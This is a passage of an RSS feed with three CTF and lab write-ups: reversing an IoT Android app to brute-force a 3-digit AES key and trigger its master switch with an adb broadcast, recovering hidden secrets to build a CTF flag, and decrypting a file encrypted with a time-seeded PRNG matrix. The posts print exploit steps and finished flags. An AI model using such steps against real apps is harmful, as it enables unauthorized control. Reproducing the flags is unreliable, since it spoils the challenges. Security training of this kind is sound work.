            <content:encoded><![CDATA[<h3>IOT Connect Writeup — MobileHackingLab</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7qUBw_zrl61YtDHJ" /></figure><h3>بسم الله الرحمن الرحيم</h3><p>This was an IoT control application whose “master switch” behaved… selectively. Some devices could be toggled freely, while others stubbornly refused to turn on or off. That inconsistency suggested that the logic was occurring somewhere deeper than in the UI, so reversing the APK was a natural next step.</p><h3>Initial Exploration</h3><p>I started with some basic user interaction with the app: account creation, devices toggling, and seeing how all these components behave. The limitations on what could be done with devices hinted at some authorization logic in place. Keeping that in mind, I moved on to static analysis.</p><h3>Digging Into the APK</h3><p>I opened the application in jadx and immediately went to AndroidManifest.xml. The goal was to understand the “master switch,” so I followed the trail to MasterSwitchActivity with the hope of finding where it handled the master control requests.<br>Near the end of the code for this activity, this critical line existed:<br>LocalBroadcastManager.getInstance(this$0).sendBroadcast(intent);<br>This meant that the device actions were being triggered by internal broadcasts. If I could find the broadcast receiver responsible, I would be able to understand-or bypass-the authorization logic.</p><h3>Hunting the Receiver</h3><p>Back in the manifest, the important entry was:<br>android:name=”com.mobilehackinglab.iotconnect.MasterReceiver”</p><p>Double-clicking didn’t jump to a class, which is usually an indication that the receiver logic has an indirect implementation or is buried somewhere else in the applicaiton. So I manually searched for the onReceive() implementation of the receiver.</p><p>Further, this took me to the class CommunicationManager containing the actual logic initiated by the broadcast. Therein, the function check_key() caught my eye; it was obviously the central validation routine.</p><h3>Cracking the Key</h3><p>Double-clicking into check_key() landed me in a class called Checker, where everything finally lined up:</p><ul><li>The algorithm was AES.</li><li>The encrypted payload was stored in a variable called “ds”, which I’m guessing is short for “decrypt string”.</li><li>The expected plaintext was “master_on”.</li><li>The decryption method was complete and easy to reuse.</li></ul><p>That is, the key space was very small (<em>the set of all possible keys that may be used by a given algorithm</em>), the algorithm was known, the target value was known, and all that remained was brute forcing three-digit numbers.</p><h3>Automating the Break</h3><p>All I needed to do was to copy the information that I previously mentioned (<em>algorithm used, encrypted string, expected plaintext, and the decryption method</em>), send them to any AI model, explain what these are, and order it to write a simple script that tries numbers from 000 till 999 (<em>I used that range because the application asked for a 3-digit pin code when I tried to use the Master Switch</em>).<br>The key was found, the creation of a working broadcast only took one ADB command:<br>adb shell am broadcast -a MASTER_ON — ei key 345</p><p>Where:</p><ul><li>am invokes Activity Manager of Android,</li><li>-a sets the broadcast action,</li><li>— ei passes an integer extra,</li><li>and key is the key of the key-value pair parameter that the app checks internally.</li></ul><p>The application accepted the broadcast and showed a toast message saying all the devices were now on.</p><h3>Final Thoughts</h3><ul><li>The challenge illustrated several recurring themes in mobile security:</li><li>Sensitive logic hidden behind local broadcasts is exploitable if not properly authenticated.</li><li>AES doesn’t guarantee security when the key space is tiny and the expected plaintext is known.</li><li>Reversing Android apps almost always exposes more than developers expect.</li><li>Start analyzing APKs by paying the AndroidManifest.xml file a visit.</li></ul><h3>Follow me on social media</h3><p><a href="https://www.linkedin.com/in/mohammadibnibrahim"><em>Linkedin</em></a><em> </em><a href="https://x.com/mhmdibnibrahim"><em>Twitter</em></a><em> </em><a href="https://mohammadibnibrahim.medium.com/"><em>Medium</em></a><em> </em><a href="https://github.com/mohammadibnibrahim"><em>Github</em></a><em> </em><a href="https://spectacular-granita-3c1c14.netlify.app/"><em>Portfolio</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e3bd5079636" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyCTF25 Qualifications — Vault Raider, Mobile Challenge Writeup]]></title>
            <link>https://mohammadibnibrahim.medium.com/cyctf25-qualifications-vault-raider-mobile-challenge-writeup-998f38aa3e75?source=rss-6cbde75e0036------2</link>
            <guid isPermaLink="false">https://medium.com/p/998f38aa3e75</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[محمد بن إبراهيم]]></dc:creator>
            <pubDate>Tue, 11 Nov 2025 21:13:55 GMT</pubDate>
            <atom:updated>2025-11-11T21:13:56.464Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V25lTLuC-co2L4gt" /></figure><p>بسم الله الرحمن الرحيم</p><p>Shoutout to <a href="https://medium.com/u/45a8415b94f4">Sho3la</a>, <a href="https://medium.com/u/f3d3760a07bc">Omar Elfakharany</a>, <a href="https://medium.com/u/d721069bb3b6">v0ilt</a>, <a href="https://medium.com/u/8e95076ebeca">S0VA</a>.</p><h3>Quick summary</h3><p>The app was unpacked and inspected. Three secret pieces were recovered, combined, hashed, and then transformed by a final routine to produce the challenge flag.</p><h3>How the secrets were found</h3><h4>Secret 1, the IMEI fallback</h4><p>When the app tried to read the device IMEI, a fallback value was used in the typical testing/CTF environment. That fallback is the string of fifteen zeros. This string was hashed with SHA‑256, and that hash became the first secret. I found that in the MainActivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*VPshIqzRuOHoa5L2SAUEdQ.png" /></figure><p>Fallback IMEI used: &quot;000000000000000&quot;</p><ul><li>First secret (SHA‑256 of that):<br> 14bdcd6fd64180af5e7791df91b6af8e9a3e7bc844997eb8c29252706df97ca5</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*2mTDZF-XUWiJrt9HUFkjGA.png" /></figure><h4>Secret 2, the encoded name</h4><p>The app’s resources contained a short name that was actually encoded data. That value was decoded from Base64 and then XOR’d with a small key to reveal plain text. After those two steps, the second secret was obtained.</p><p>Encoded resource value: MEclOVYt</p><p>Key used for XOR: ctfkey</p><p>Second secret (after Base64 decode + XOR): S3CR3T</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*6wef0bXLG0geYE5TPmzCVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*WklLvuvihQvz4G-rSCImFQ.png" /></figure><h4>Secret 3, the placeholder</h4><p>A native routine looked like it might produce the third piece, but nearby strings suggested a standard CTF placeholder was being used instead of a complicated runtime computation. That placeholder was taken as the third secret.</p><p>Third secret assumed: deadbeef</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*WUF_4eBFRS_PwQ4_-W2flg.png" /></figure><h3>Building the master key</h3><p>The three secrets were concatenated in a specific order: first secret, then second secret, then third secret. The SHA‑256 hash of that concatenated string produced a single “master” value used by the final routine.</p><p>Concatenation order: first + second + third</p><p>Resulting master key (SHA‑256):<br> 8fc2b0c53e485523edfbddef965bece3c5da451e58a2aed8d5281e8c43abe5e7</p><h3>Final flag formatting</h3><p>A hardcoded prefix was present in the app. The first eight characters of the master key were taken, reversed, and then joined with that prefix and a fixed suffix to form the flag body. Finally, that body was wrapped in the challenge’s cyctf{…} format.</p><ul><li>Hardcoded prefix (hex form of an internal byte array):<br> 3465fb449e7e4ad1636a6511a0c23900be2d3dd4ac2e6a0ad594a1e23bb7ce8a9c</li><li>First 8 chars of master key: 8fc2b0c5 → reversed → 5c0b2cf8</li><li>Final flag (assembled):<br> cyctf{3465fb449e7e4ad1636a6511a0c23900be2d3dd4ac2e6a0ad594a1e23bb7ce8a9c_5c0b2cf8_solved}</li></ul><h3>In a nutshell</h3><ol><li>The APK was unpacked and the app was decompiled.</li><li>The main activity and resource files were inspected for secret material.</li><li>The IMEI fallback value (000000000000000) was located and hashed (SHA‑256) to produce Part A.</li><li>The encoded resource string (MEclOVYt) was Base64‑decoded and then XOR‑decoded with the key ctfkey to produce Part C.</li><li>A native function was examined and a common placeholder (deadbeef) was taken as Part B.</li><li>The three parts were concatenated in the order: Part A + Part C + Part B.</li><li>The concatenated string was hashed with SHA‑256 to produce the master key.</li><li>The first 8 characters of the master key were reversed.</li><li>A hardcoded prefix (from the app) was joined with the reversed slice and the fixed suffix to form the flag body.</li><li>The flag body was wrapped in the cyctf{...} format to produce the final flag.</li></ol><h3>Follow me on social media</h3><p><a href="https://www.linkedin.com/in/mohammadibnibrahim"><em>Linkedin</em></a><em> </em><a href="https://x.com/mhmdibnibrahim"><em>Twitter</em></a><em> </em><a href="https://mohammadibnibrahim.medium.com/"><em>Medium</em></a><em> </em><a href="https://github.com/mohammadibnibrahim"><em>Github</em></a><em> </em><a href="https://spectacular-granita-3c1c14.netlify.app/"><em>Portfolio</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=998f38aa3e75" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyCTF25 Qualifications — Hidden, Reverse Engineering Writeup]]></title>
            <link>https://mohammadibnibrahim.medium.com/cyctf25-qualifications-hidden-reverse-engineering-writeup-a913ce576c3a?source=rss-6cbde75e0036------2</link>
            <guid isPermaLink="false">https://medium.com/p/a913ce576c3a</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[محمد بن إبراهيم]]></dc:creator>
            <pubDate>Mon, 10 Nov 2025 17:10:25 GMT</pubDate>
            <atom:updated>2025-11-11T09:55:15.213Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xlc3NINSB4KKj4oR" /></figure><p>بسم الله الرحمن الرحيم</p><p>Shoutout to <a href="https://medium.com/u/45a8415b94f4">Sho3la</a>, <a href="https://medium.com/u/f3d3760a07bc">Omar Elfakharany</a>, <a href="https://medium.com/u/d721069bb3b6">v0ilt</a>, <a href="https://medium.com/u/8e95076ebeca">S0VA</a>.</p><h3>Summary</h3><p>The binary was found to encrypt a 6×6 byte matrix (the secret) by multiplying it with a 6×6 pseudorandom matrix, and the result was written to flag.enc. The random matrix was generated using srand(time(0)), making the encryption reproducible if the file creation timestamp was known. By reproducing the same random matrix, computing its modular inverse (mod 256), and multiplying that inverse with the ciphertext, the original secret was recovered.</p><h3>Analysis of the binary</h3><p>The hidden ELF binary (64-bit) was analyzed. Strings and decompilation of main and the encryption function were examined. The encrypted output file flag.enc was also inspected.</p><h4>Key findings</h4><ul><li>The program was found to seed the C standard PRNG with the current time:<br>srand((unsigned) time(NULL));</li><li>Encryption was performed by treating the flag as a 6×6 byte matrix S, generating a 6×6 random matrix R (values from rand() % 256), and computing:</li></ul><p>O = (R × S) mod 256</p><p>The resulting matrix O was written to flag.enc.</p><ul><li>Because R depended only on time(0), the exact R could be reproduced if the timestamp of creation (or an approximation) was known.</li></ul><h3>Decryption approach</h3><ol><li>The timestamp used to seed srand was recovered or approximated. In this instance, the timestamp 1754204986 was used, with a small search window around it to allow for uncertainty.</li><li>For each candidate timestamp:</li></ol><ul><li>The C rand() implementation was reseeded using srand(seed), and the 6×6 matrix R was regenerated exactly as in the binary.</li><li>The modular inverse of R modulo 256 was computed. (Only matrices with odd determinants were invertible.)</li><li>The product of R⁻¹ and the captured ciphertext matrix O modulo 256 was calculated to recover the candidate secret S.</li></ul><p>3. The recovered bytes were checked for a plausible flag format (readable ASCII or CTF-style marker). The process was stopped when a valid flag was obtained.</p><p>The solution was implemented in Python. The platform C library (libc) srand()/rand() functions were used to replicate the binary’s PRNG exactly. Timestamps within a ±600s window were brute-forced to ensure the correct seed was found.</p><h3>Notes on implementation</h3><ul><li>Exact replication of rand() was required for correct decryption.</li><li>Matrix inversion was performed in the ring ℤ/256ℤ. The determinant was checked for parity, and the classical adjugate method was used with the modular inverse of the determinant to calculate R⁻¹ (mod 256).</li><li>The ciphertext file contained 36 bytes (newlines appeared every 6 bytes in the hexdump). These were assembled into a 6×6 matrix O.</li></ul><h3>Result</h3><p>By following this method and using the timestamp 1754204986, the flag was recovered.</p><h3>In a nutshell</h3><ol><li>The binary was reversed to determine how the secret was encrypted:</li></ol><ul><li>O = (R × S) mod 256 with R generated from srand(time(0)).</li></ul><p>2. R was recreated by seeding the PRNG with the file creation timestamp (or candidate timestamps).</p><p>3. R⁻¹ was computed modulo 256 (ensuring the determinant was odd).<br> <br>4. S = (R⁻¹ × O) mod 256 was calculated.<br> <br>5. The recovered bytes were validated for a flag pattern; the process stopped when a readable flag was obtained.</p><h3>Follow me on social media</h3><p><a href="https://www.linkedin.com/in/mohammadibnibrahim"><em>Linkedin</em></a><em> </em><a href="https://x.com/mhmdibnibrahim"><em>Twitter</em></a><em> </em><a href="https://mohammadibnibrahim.medium.com/"><em>Medium</em></a><em> </em><a href="https://github.com/mohammadibnibrahim"><em>Github</em></a><em> </em><a href="https://spectacular-granita-3c1c14.netlify.app/"><em>Portfolio</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a913ce576c3a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>